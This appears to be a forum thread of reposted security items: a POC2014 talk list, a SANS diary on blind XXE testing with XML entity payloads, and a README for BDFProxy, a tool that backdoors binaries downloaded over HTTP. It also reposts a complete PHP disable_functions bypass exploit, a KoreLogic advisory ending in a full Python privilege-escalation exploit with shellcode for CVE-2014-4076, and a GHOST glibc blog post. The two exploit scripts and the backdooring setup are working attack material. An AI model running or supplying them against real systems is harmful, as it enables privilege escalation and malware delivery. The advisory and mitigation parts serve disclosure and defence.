Nytro

Archieves of POC201 POC2014 [TABLE=class: table table-bordered, width: 1045] [TR] [TD] Bo Qu, Royce Lu, @ga1ois, "Advanced Defense for Internet Explorer"[/TD] [TD][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Byoungyoung Lee, "Identifying Memory Corruption Bugs with Compiler Instrumentations"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Florian Grunow, "How to Own your Heart - Hacking Medical Devices"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] GilGil, "mVoIP Hacking"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] hotwing, "Hunting Zero Days in Crash Dumps"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] John C. Matherly, "Behind the Scenes of Shodan"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Karsten Nohl, "BadUSB — On accessories that turn evil"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] K-dupe, Hyunuk, Kibom, "Physical Memory File Extraction Based on File Object Analysis"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Matt, AbdulAziz, Jasiel , "Dropping the MIC (Medium Integrity Calculator): Pwning Internet Explorer for fun "[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Maxim Goncharov, "Be first to know about data breach of popular web sites"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] MJ0011, "Windows 10 Control Flow Guard Internals"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] passket & Team SNE, "Only True Love Can Thaw Frozen SCADA Systems"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Tombkeeper, "JavaScript VM breakout based exploiting"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [TR] [TD] Wei Yan, "Auto Mobile Malware, Attack Scenarios, and How to Defend"[/TD] [TD=width: 21][/TD] [TD=width: 16][/TD] [TD=width: 16][/TD] [/TR] [/TABLE] POC will show you only technical, creative and very interesting topics. Fuck off, marketing and commercial presentation! Sursa: POC2015 - We Trust a Power Of Community

Nu e asa periculos de RCE. Dar e mare riscul de Denial of Service. E usor de crapat un Exim: 1337Day Agreement - 1337day Inj3ct0r Exploit Database : vulnerability : 0day : new exploits : buy and sell private exploit : shellcode by Inj3ct0r Team Cum sa patch-uiesti manual?

Blindly confirming XXE by Bojan Zdrnja (Version: 1) Almost exactly a year ago I posted a diary called “Is XXE the new SQLi?” – you can read it athttps://isc.sans.edu/diary/Is+XXE+the+new+SQLi/17375. In last year, the things have not changed a lot regarding XXE vulnerabilities. They still seem to be popping up here and there, depending on how XML documents are consumed by server side applications. Recently I had an interesting engagement where the server side web application consumed an XML document submitted by a user (through a web browser, in a POST HTTP request). Of course, whenever you see XML being used, you should always test for existence of XXE vulnerabilities since their impact can be quite serious – check the original diary – and can lead from Denial of Service attacks to disclosure of arbitrary files. In this specific case, however, the problem was that while the application processed the submitted XML document, it never outputted anything from the document: the application would only echo back if processing was successful or not. So the question that came in mind was on how to confirm if the target application was vulnerable to XXE or not? Sure, I could try to launch a DoS attack to see if it works or not, but since I was dealing with a semi-production system, this was not an option. Almost like blind SQL injection This case is very similar to blind SQL injection vulnerabilities: we can modify the input and while we cannot see the output directly, we can deduce what happened on the server side. Let’s see an example of how this can work with the following XML document, which is submitted originally: <DocumentLayer> <Document InternalID="1"> <DocumentPointer>Test</DocumentPointer> </Document> </DocumentLayer> Of course, in the real test the XML document was much more complex and had some logic for the backend application – keep in mind that this is just a simple example. In this particular case, the <DocumentPointer> element had to contain the string Test. So, similarly to a blind SQL injection vulnerability we can try modifying this element to see what happens: when I put any other string the processing on the server side failed. The XML document can now be extended as shown below to verify if an external entity will be processed: <!DOCTYPE DocumentLayer [ <!ELEMENT DocumentLayer ANY> <!ENTITY xxe "Test"> ]> <DocumentLayer> <Document InternalID="1"> <DocumentPointer>&xxe;</DocumentPointer> </Document> </DocumentLayer> Simple! If this works, it means that we blindly confirmed that the XML processor on the server side used our reference to the xxe entity. Cool. The next step is to see if we can use external entities. However, again, since we cannot see the results of the XXE injection, it’s not all that simple. To make things more complex, the backend server is behind a firewall that does not let this machine connect directly to anything on the Internet. This stops us from using a SYSTEM external entity with a URL supplied. So is there any other way to confirm that external entities are supported? Probably yes – there is one protocol that is almost always allowed, in one sense or another: DNS. In this particular case, this means that we can craft external entity which will resolve to a domain name that we control – by checking DNS requests we can see if the entity was resolved correctly or not. In this case it does not matter if the backend server cannot access the Internet or not – in many cases it will be able to issue DNS requests (by using a local DNS recursive resolver), so we will see the request come from a different server: <!DOCTYPE DocumentLayer [ <!ELEMENT DocumentLayer ANY> <!ENTITY xxe SYSTEM "http://thisdomaindoesnotexist.infigo.hr/test.txt"> ]> <DocumentLayer> <Document InternalID="1"> <DocumentPointer>&xxe;</DocumentPointer> </Document> </DocumentLayer> While this document will not be processed correctly (remember, the DocumentPointer element must contain the text string Test), the reference will be resolved by the XML processor and by observing the DNS traffic on DNS servers for our domain we will see a request for the submitted domain which will allow us to confirm that XXE’s are resolved by the target application. So, to wrap things up – we blindly confirmed the XXE vulnerability in the target application. While in this case our exploitation options are unfortunately limited “only” to DoS, it is worth noting that the vulnerability exists, and that it’s only a matter of time when it can be abused further, unless patched. -- Bojan @bojanz ?INFIGO IS Sursa: https://isc.sans.edu/diary/Blindly+confirming+XXE/19257

The Backdoor Factory Proxy (BDFProxy) v0.2 For security professionals and researchers only. NOW ONLY WORKS WITH MITMPROXY >= v.0.11 To install on Kali: apt-get update apt-get install bdfproxy DerbyCon 2014 Presentation: About 18 minutes in is the BDFProxy portion. Contact the developer on: IRC: irc.freenode.net #BDFactory Twitter: @Midnite_runr This script rides on two libraries for usage: The Backdoor Factory (BDF) and the mitmProxy. Concept: Patch binaries during download ala MITM. Why: Because a lot of security tool websites still serve binaries via non-SSL/TLS means. Here's a short list: sysinternals.com Microsoft - MS Security Essentials Almost all anti-virus companies Malwarebytes Sourceforge gpg4win Wireshark etc... Yes, some of those apps are protected by self checking mechanisms. I've been working on a way to automatically bypass NSIS checks as a proof of concept. However, that does not stop the initial issue of bitflipping during download and the execution of a malicious payload. Also, BDF by default will patch out the windows PE certificate table pointer during download thereby removing the signature from the binary. Depends: Pefile - most recent ConfigObj mitmProxy - Kali Build .10 BDF - most current Capstone (part of BDF) Supported Environment: Tested on all Kali Linux builds, whether a physical beefy laptop, a Raspberry Pi, or a VM, each can run BDFProxy. Install: BDF is in bdf/ Run the following to pull down the most recent: ./install.sh OR: git clone https://github.com/secretsquirrel/the-backdoor-factory bdf/ If you get a certificate error, run the following: mitmproxy And exit [Ctr+C] after mitmProxy loads. Usage: Update everything before each use: ./update.sh READ THE CONFIG!!! -->bdfproxy.cfg You will need to configure your C2 host and port settings before running BDFProxy. DO NOT overlap C2 PORT settings between different payloads. You'll be sending linux shells to windows machines and things will be segfaulting all over the place. After running, there will be a metasploit resource script created to help with setting up your C2 communications. Check it carefully. By the way, everything outside the [Overall] section updates on the fly, so you don't have to kill your proxy to change settings to work with your environment. But wait! You will need to configure your mitm machine for mitm-ing! If you are using a wifiPineapple I modded a script put out by hack5 to help you with configuration. Run ./wpBDF.sh and enter in the correct configs for your environment. This script configures iptables to push only http (non-ssl) traffic through the proxy. All other traffic is fowarded normally. Then: ./bdf_proxy.py Here's some sweet ascii art for possible phyiscal settings of the proxy: Lan usage: <Internet>----<mitmMachine>----<userLan> Wifi usage: <Internet>----<mitmMachine>----<wifiPineapple>))) Testing: Suppose you want to use your browser with Firefox and FoxyProxy to connect to test your setup. Update your config as follows: transparentProxy = None Configure FoxyProxy to use BDFProxy as a proxy. Default port in the config is 8080. Logging: We have it. The proxy window will quickly fill with massive amounts of cat links depending on the client you are testing. Use tail -f proxy.log to see what is getting patched and blocked by your blacklist settings. However, keep an eye on the main proxy window if you have chosen to patch binaries manually, things move fast and behind the scences there is multi-threading of traffic, but the intial requests and responses are locking for your viewing pleasure. Attack Scenarios (all with permission of targets): -Evil Wifi AP -Arp Redirection -Physical plant in a wiring closet -Logical plant at your favorite ISP Sursa: https://github.com/secretsquirrel/BDFProxy

PHP disable_functions procfs bypass [RU] $ php procfs_bypass.php [*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org) [*] Trying to get open@plt offset in PHP binary [+] Address is 0xe94998 [*] Libc location: /lib/x86_64-linux-gnu/libc-2.19.so [*] Trying to get open and system symbols from Libc [+] Got it. Seeking for address in memory [*] open@plt addr: 0x7f150f86d150 [*] system@plt addr: 0x7f150f7c7530 [*] Rewriting open@plt address [+] Address written. Executing cmd uid=1000(beched) gid=1000(beched) ??????=1000(beched),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare <?php /* $libc_ver: beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc 7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so $open_php: beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$' 0000000000e94998 R_X86_64_JUMP_SLOT open $system_offset and $open_offset: beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@" 1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5 */ function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } function unp($value) { return hexdec(bin2hex(strrev($value))); } function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } } echo " [*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n"; if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } echo " [*] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo " [*] Libc location: $r[1]\n"; echo " [*] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, $open_php); $open_addr = unp(fread($mem, 8)); echo ' [*] open@plt addr: 0x' . dechex($open_addr) . "\n"; $libc_start = $open_addr - $open_offset; $system_addr = $libc_start + $system_offset; echo ' [*] system@plt addr: 0x' . dechex($system_addr) . "\n"; echo " [*] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); fseek($mem, $open_php); if(fwrite($mem, packlli($system_addr))) { echo "[+] Address written. Executing cmd\n"; readfile('/usr/bin/id'); exit; } echo "[-] Write failed. Exiting\n"; Sursa: https://rdot.org/forum/showthread.php?t=3309

Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation [COLOR=#222222][FONT=Verdana]-----BEGIN PGP SIGNED MESSAGE-----[/FONT][/COLOR]Hash: SHA256 KL-001-2015-001 : Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Title: Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation Advisory ID: KL-001-2015-001 Publication Date: 2015.01.28 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt 1. Vulnerability Details Affected Vendor: Microsoft Affected Product: TCP/IP Protocol Driver Affected Version: 5.2.3790.4573 Platform: Microsoft Windows Server 2003 Service Pack 2 Architecture: x86, x64, Itanium Impact: Privilege Escalation Attack vector: IOCTL CVE-ID: CVE-2014-4076 2. Vulnerability Description The tcpip.sys driver fails to sufficiently validate memory objects used during the processing of a user-provided IOCTL. 3. Technical Description By crafting an input buffer that will be passed to the Tcp device through the NtDeviceIoControlFile() function, it is possible to trigger a vulnerability that would allow an attacker to elevate privileges. This vulnerability was discovered while fuzzing the tcpip.sys driver. A collection of IOCTLs that could be targeted was obtained and subsequently fuzzed. During this process, one of the crashes obtained originated from the IOCTL 0x00120028. This was performed on an x86 installation of Windows Server 2003, Service Pack 2. ErrCode = 00000000 eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270 eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 tcpip!SetAddrOptions+0x1d: f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:00000028=???????? A second chance exception has occurred during a mov instruction. This instruction is attempting to copy a pointer value from an un-allocated address space. Since no pointer can be found, an exception is generated. Let's begin by reviewing the call stack: kd> kv *** Stack trace for last set context - .thread/.cxr resets it ChildEBP RetAddr Args to Child f620a9dc f67e416b f620aa34 00000022 00000004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo]) f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo]) f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo]) f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo]) f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo]) f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo]) f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo]) f620ab5c 808e912e 000006f4 00000000 00000000 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo]) f620ab90 f55c10fa 000006f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo]) The nt!NtDeviceIoControlFile() function was called, creating a chain of subsequent function calls that eventually led to the tcpip!SetAddrOptions() function being called. By de-constructing the call to nt!NtDeviceIoControlFile() we can derive all required information to re-create this exception. 0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a eax=00000000 ebx=8c785070 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 nt!NtDeviceIoControlFile+0x2a: 808e912e 5d pop ebp kd> db [ebp+2C] L?0x4 b940dd60 00 00 00 00 .... kd> db [ebp+28] L?0x4 b940dd5c 00 00 00 00 .... kd> db [ebp+24] L?0x4 b940dd58 20 00 00 00 ... kd> db [ebp+20] L?0x4 b940dd54 00 11 00 00 .... kd> db [ebp+1c] L?0x4 b940dd50 28 00 12 00 (... kd> db [ebp+18] L?0x4 b940dd4c 58 4f bd 00 XO.. kd> db [ebp+14] L?0x4 b940dd48 00 00 00 00 .... kd> db [ebp+10] L?0x4 b940dd44 00 00 00 00 .... kd> db [ebp+0c] L?0x4 b940dd40 00 00 00 00 .... kd> db [ebp+8] L?0x4 b940dd3c b8 06 00 00 .... The inputBuffer for this call references memory at 0x1000 with a length of 0x20. kd> db 0x1100 L?0x20 00001100 00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00 ................ 00001110 22 00 00 00 04 00 00 00-00 00 01 00 00 00 00 00 "............... After review of the tcpip.sys driver, some memory trickery was created to control the code flow until the instruction pointer could be controlled in a way that would be beneficial to an attacker. kd> db 0x28 L?0x11 00000028 87 ff ff 38 00 00 00 00-00 00 00 00 00 00 00 00 ...8............ 00000038 01 eax=00000000 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000 eip=0000002a esp=b940db3c ebp=b940db60 iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 0000002a ff ??? Since the instruction pointer now contains 0x0000002a, exploitation becomes trivial. Merely allocating the desired payload for execution at this memory address will allow for unprivileged users to run their payload within a privileged process. 4. Mitigation and Remediation Recommendation The vendor has issued a patch for this vulnerability, the details of which are presented in the vendor's public acknowledgment MS14-070 (https://technet.microsoft.com/library/security/MS14-070). 5. Credit This vulnerability was discovered by Matt Bergin of KoreLogic Security, Inc. 6. Disclosure Timeline 2014.04.28 - Initial contact; sent Microsoft report and PoC. 2014.04.28 - Microsoft requests PoC. 2014.04.29 - KoreLogic resends PoC from the initial contact email. 2014.04.29 - Microsoft acknowledges receipt of vulnerability report. 2014.04.29 - Microsoft opens case 19010 (MSRC 0050929) to investigate the vulnerability. 2014.04.30 - Microsoft informs KoreLogic that the case is actively being investigated. 2014.05.30 - Microsoft informs KoreLogic that the case is actively being investigated. 2014.06.11 - KoreLogic informs Microsoft that 30 business days have passed since vendor acknowledgment of the initial report. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.24 - KoreLogic informs Microsoft that no response was received following the 06.11.14 email. KoreLogic requests CVE number for the vulnerability, if there is one. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.06.24 - Microsoft replies to KoreLogic that they have reproduced the vulnerability and are determining how to proceed with the supplied information. They are not able to provide a CVE or an expected disclosure date. 2014.07.02 - 45 business days have elapsed since Microsoft acknowledged receipt of the vulnerability report and PoC. 2014.07.17 - KoreLogic requests CVE number for the vulnerability. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.08.18 - Microsoft notifies KoreLogic that they have a CVE but are not willing to share it with KoreLogic at this time. 2014.09.08 - KoreLogic requests CVE number for the vulnerability. KoreLogic also requests vendor's public identifier for the vulnerability along with the expected disclosure date. 2014.09.11 - Microsoft responds saying that the vulnerability is expected to be disclosed in "a Fall release" and that "it is currently looking good for October." Does not provide CVE. 2014.09.24 - Microsoft informs KoreLogic that there was a packaging issue and that the patch will be pushed to November. 2014.11.03 - Microsoft confirms the patch will ship in November. 2014.11.11 - Vulnerability publicly disclosed by Microsoft as issue MS14-070 with CVE-2014-4076. 2015.01.28 - KoreLogic releases advisory. 7. Exploit #!/usr/bin/python2 # # KL-001-2015-001 / MS14-070 / CVE-2014-4076 # Microsoft Windows Server 2003 x86 Tcpip.sys Privilege Escalation # Matt Bergin @ KoreLogic / Level @ Smash the Stack # shout out to bla # from optparse import OptionParser from subprocess import Popen from os.path import exists from struct import pack from threading import Thread from time import sleep from ctypes import * from sys import exit CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory = windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory DeviceIoControlFile,CloseHandle = windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 def spawn_process(path): process = Popen([path],shell=True) pid = process.pid return def main(): print "CVE-2014-4076 x86 exploit, Level\n" global pid, process parser = OptionParser() parser.add_option("--path",dest="path",help="path of process to start and elevate") parser.add_option("--pid",dest="pid",help="pid of running process to elevate") o,a = parser.parse_args() if (o.path == None and o.pid == None): print "[!] no path or pid set" exit(1) else: if (o.path != None): if (exists(o.path) != True): print "[!] path does not exist" exit(1) else: Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start() if (o.pid != None): try: pid = int(o.pid) except: print "[!] could not convert PID to an interger." exit(1) while True: if ("pid" not in globals()): sleep(1) else: print "[+] caught attacker cmd at %s, elevating now" % (pid) break buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" sc = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00" sc = sc.replace("\x41\x41\x41\x41",pack('<L',pid)) sc = sc.replace("\x11\x11\x11\x11","\x39\xff\xa2\xba") sc = sc.replace("\x22\x22\x22\x22","\x00\x00\x00\x00") handle = CreateFileA("\\\\.\\Tcp",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] could not open handle into the Tcp device" exit(1) print "[+] allocating memory" ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x4000)),0x1000|0x2000,0x40) if (ret_one != 0): print "[!] could not allocate memory..." exit(1) print "[+] writing relevant memory..." ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0))) ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0))) ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0))) ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0))) ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0))) print "[+] attack setup done, crane kick!" DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0) CloseHandle(handle) exit(0) if __name__=="__main__": main() The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt -----BEGIN PGP SIGNATURE----- iQEcBAEBCAAGBQJUya/SAAoJEE1lmiwOGYkM1BIH/AznEH5nadamN6PSucr53QnH jj4P0ab+qtTIzToVXrxDvScSf7O7ZySOr9y3vvW2W+yfRknbrQCueu+8uLNzRFbr o8T4HB0Ahcy4XmI+9CVLoIQydo6nykciD1sRpVALo5UnCgzlcZn8MJB/2RCYNZJb CCqx7kuL+xxTmoQeCGUSy/Gy3sfvwVhwmsyiBxW7Y5v/xt2RgaYPaOAEjML6IHtY IrtHJQtVhdmXb+p9MaLi4D5WGDjydDG/yTmuZYRmBc+k6B7TiaFfzXX/1ecVLVn9 FmQFy0qa7fQWty4e39/0d0yqw4nUn/1saDpSgmrlox6ZkZYaapTRF/sNcExcY54= =1+YJ [COLOR=#222222][FONT=Verdana]-----END PGP SIGNATURE-----[/FONT][/COLOR] Sursa: https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt

GHOST gethostbyname() heap overflow in glibc (CVE-2015-0235) A heap-based buffer overflow vulnerability in glibc (CVE-2015-0235) was announced this week. It seems as though all new vulnerabilities need to have catchy marketing names so this one was dubbed "GHOST" which was derived from the vulnerable glibc function name - "GetHOSTbyname()". Vulnerability Notes Here are the key points thus far: The vulnerability affects all versions of glibc from glibc-2.17 and lower The bug was patched in glibc-2.18 in May 2013, but was not marked as a security bug so the fix did not make it into many common Linux distributions like RedHat and Ubuntu. To our knowledge, this is not currently being exploited in the wild Qualys has not released any PoC code but they plan to release a Metasploit module in the near future. Qualys was able to remotely exploit a mail server running Exim mail software but it’s unclear what other software might be vulnerable. (They are working on a metapsloit module specifically for the Exim exploit) Regarding other Linux server software Qualys wrote: "to the best of our knowledge, the buffer overflow cannot be triggered in any of [these]: apache, cups, dovecot, gnupg, isc-dhcp, lighttpd, mariadb/mysql, nfs-utils, nginx, nodejs, openldap, openssh, postfix, proftpd, pure-ftpd, rsyslog, samba, sendmail, sysklogd, syslog-ng, tcp_wrappers, vsftpd, xinetd." Wordpress XML-RPC Pingback Vector It has been speculated that the XML-RPC pingback functionality in Wordpress installs may be vulnerable to remote exploitation. We decided to run some tests to see if it is in fact vulnerable. We previously did a blog post outlining how the Wordpress XML-RPC "pingback" functionality could be abused by attackers to force unsuspecting websites into participating in DDoS attacks. To summarize, in that attack, the attacker sends an XML request to the "/xmlrpc.php" script: The YELLOW highlighted data is a WordPress "Patsy Proxy" site while the ORANGE highlighted data is the DDoS target/victim website. In this scenario, the XML-RPC "pingback" code in PHP is using the gethostbyname() function call on the ORANGE highlighted data so that it can resolve it to an IP address for the remote request it will send. This is the exploit vector we chose to focus on for GHOST testing. Modifying Input for GHOST Vulnerability Testing Instead of sending a normal sized URL in the XML pingback.ping method body, we need to send a large one. Here is a Ruby PoC script: The script takes command line arguments for the size of payload that you want to send. During our testing in SpiderLabs Research, we identified different size ranges that worked on different platform/versions of glibc, php and wordpress. After sending the attack payload, we have seen the HTTP process responds with the following: 500 HTTP Response Status code with php-cgi No HTTP Response with mod_php There are errors in the Apache error_log file when the process crashes: This PoC allows users to remotely verify if a target web server is vulnerable to the CVE however it does not demonstrate exploitability. Here is the glibc and php version information for the two systems we used during this test: Recommendations Install glibc Patches Example for Ubuntu Linux Distributions: sudo apt-get clean sudo apt-get update sudo apt-get upgrade And don't forget to reboot! Disable XML-RPC It is possible to disable the XML-RPC process altogether if you do not want to use it. There are even plugins that will disable it. Disable Pingback Requests You may also disable the pingback feature by adding the following to your functions.php file: WAF Protections By using a WAF, you can identify initial pingback XML requests on your Wordpress site and look for attacks. The Trustwave WAF has a profiling and learning engine called "Adaption" that is able to identify these types of anomalies vs. normal user traffic. We have also added rules to our commercial SpiderLabs ModSecurity rules package to identify this specific PoC attack vector. Monitor Your Logs When attackers are attempting to exploit this vulnerability against your web servers, there will most likely be error messages (segmentation faults, etc...) that will indicate a problem. Organizations should be vigilant in monitoring their logs and following up on an anomalous errors. Acknowledgments I would like to thank my fellow SpiderLabs Research colleagues who helped with testing and the content of this blog post: Robert Rowley Christophe De La Fuente Chaim Sanders Felipe Costa Jonathan Claudius Karl Sigler Posted by Ryan Barnett on 29 January 2015 Sursa: http://blog.spiderlabs.com/2015/01/ghost-gethostbyname-heap-overflow-in-glibc-cve-2015-0235.html

